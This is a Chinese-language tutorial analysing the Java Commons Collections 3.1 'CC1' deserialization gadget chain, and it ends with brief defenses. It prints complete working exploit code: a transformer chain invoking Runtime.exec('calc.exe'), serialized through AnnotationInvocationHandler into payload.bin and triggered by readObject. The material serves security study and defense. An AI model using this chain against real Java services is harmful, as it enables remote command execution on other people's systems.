Java安全反序列化之CC1链的分析与利用
1. 环境要求
- Common-Collections版本: 3.1
- JDK版本: 1.7 (注意: 在Java 8u71以后的版本中,由于
sun.reflect.annotation.AnnotationInvocationHandler发生了变化导致此链不再可用)
2. 前置知识
2.1 Commons Collections简介
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。
官网描述: "The Java Collections Framework was a major addition in JDK 1.2. It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java."
2.2 关键接口和类
Transformer接口
位于org.apache.commons.collections包中
public interface Transformer {
// 将input对象转化成某个对象输出
Object transform(Object input);
}
ConstantTransformer类
位于org.apache.commons.collections.functors包中
public class ConstantTransformer extends Object implements Transformer, Serializable {
// 构造方法
public ConstantTransformer(Object constantToReturn);
// 类方法
public Object transform(Object input);
}
InvokerTransformer类
位于org.apache.commons.collections.functors包中
public class InvokerTransformer extends Object implements Transformer, Serializable {
// 构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args);
// 类方法
public Object transform(Object input);
}
ChainedTransformer类
位于org.apache.commons.collections.functors包中
public class ChainedTransformer extends Object implements Transformer, Serializable {
// 构造方法
public ChainedTransformer(Transformer[] transformers);
// 类方法
public Object transform(Object object);
}
TransformedMap类
位于org.apache.commons.collections.map包中
public class TransformedMap extends AbstractMapDecorator implements Serializable {
// 构造方法
public TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer);
// 类方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer);
}
3. 调用链分析
3.1 POC代码
package ysoserial;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class commons_collections1 {
public static void main(String[] args) throws Exception {
// 构建transformers数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
// 将transformers数组存入ChainedTransformer
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
3.2 调用栈分析
执行该POC后成功弹出计算器,表示该POC在当前环境下可利用。调用栈如下:
transform:76, ConstantTransformertransform:122, ChainedTransformercheckSetValue:169, TransformedMapsetValue:191, AbstractInputCheckedMapDecorator$MapEntrymain:35, commons_collections1
3.3 详细调用过程
-
onlyElement.setValue("foobar")调用:onlyElement是AbstracInputCheckedMapDecorator$MapEntry对象- 进入其
setValue函数:public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); } this.parent是TransformedMap对象
-
进入
TransformedMap的checkSetValue方法:protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }this.valueTransformer是ChainedTransformer对象
-
ChainedTransformer中transform方法:public Object transform(Object object) { for (int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }- 循环调用
iTransformers中的每个Transformer的transform方法
- 循环调用
-
循环第一步:
ConstantTransformer的transform- 返回
Runtime.class对象
- 返回
-
循环第二步:
InvokerTransformer的transform- 获取
Runtime.class的getMethod方法 - 返回
getRuntime方法对象
- 获取
-
循环第三步:
InvokerTransformer的transform- 调用
getRuntime方法 - 返回
Runtime实例
- 调用
-
循环第四步:
InvokerTransformer的transform- 调用
exec方法 - 执行
calc.exe命令
- 调用
4. POC构造思路
4.1 目标
执行Runtime.getRuntime().exec("calc.exe")
4.2 反射机制实现
通用反射机制语句:
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(Class.forName("java.lang.Runtime")),
"calc.exe"
);
4.3 使用InvokerTransformer实现反射
InvokerTransformer的关键代码:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (Exception e) {
throw new FunctorException(...);
}
}
}
4.4 分步构造
-
获取Runtime实例:
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}) -
调用getRuntime方法:
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}) -
执行命令:
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"})
4.5 完整Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
5. 利用TransformedMap触发
5.1 为什么使用TransformedMap
- 需要一种方式在反序列化时自动触发
transform方法 TransformedMap在对Map数据进行修改时会自动调用绑定的Transformer
5.2 绑定Transformer到Map
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
6. 利用AnnotationInvocationHandler完成攻击
6.1 为什么需要AnnotationInvocationHandler
- 需要找到一个类在反序列化(
readObject)时有写入Map的操作 AnnotationInvocationHandler在反序列化时会遍历并修改Map中的值
6.2 构造AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
6.3 AnnotationInvocationHandler的readObject关键代码
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = AnnotationType.getInstance(this.type);
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue(...);
}
}
}
}
6.4 触发条件
AnnotationInvocationHandler构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法(假设方法名是X)- 被
TransformedMap.decorate修饰的Map中必须有一个键名为X的元素
因此:
- 使用
Target.class作为Annotation类(它有value方法) - Map中放入
key="value"的元素
7. 完整攻击代码
package ysoserial;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class commons_collections1 {
public static void main(String[] args) throws Exception {
// 构建transformers数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
// 将transformers数组存入ChainedTransformer
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 反射构造AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
// 序列化payload
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
// 模拟反序列化攻击
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
}
}
8. 防御措施
- 升级Commons Collections到安全版本
- 使用Java 8u71及以上版本(修改了
AnnotationInvocationHandler) - 使用反序列化过滤器
- 避免反序列化不可信数据
9. 总结
CC1链利用了几个关键点:
InvokerTransformer可以通过反射执行任意方法ChainedTransformer可以将多个Transformer串联起来TransformedMap在对Map修改时会自动调用TransformerAnnotationInvocationHandler在反序列化时会修改Map中的值
通过精心构造的序列化对象,可以在反序列化时触发命令执行,这是Java反序列化漏洞的经典案例之一。